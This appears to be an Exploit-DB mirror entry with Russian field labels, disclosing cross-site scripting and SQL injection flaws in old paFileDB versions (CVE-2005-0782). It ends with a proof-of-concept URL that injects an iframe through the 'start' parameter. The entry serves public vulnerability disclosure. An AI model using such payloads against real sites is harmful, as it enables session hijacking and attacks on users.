Exploit PAFileDB 1.1.3/2.1.1/3.0/3.1 - 'viewall.php?start' Cross-Site Scripting

[Exploiter]

EDB-ID

25215

Проверка EDB

1. Пройдено

Автор

[email protected]

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2005-0782

Дата публикации

2005-03-12

source: https://www.securityfocus.com/bid/12788/info
  
Multiple SQL injection and cross-site scripting vulnerabilities exist in paFileDB. These issues are reported to exist in the 'viewall.php' and 'category.php' scripts.
  
Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database. 

http://www.example.com/[pafiledb_dir]/pafiledb.php?action=viewall&start="><iframe%20src=http://www.securityreason.com></iframe&gt;&amp;sortby=rating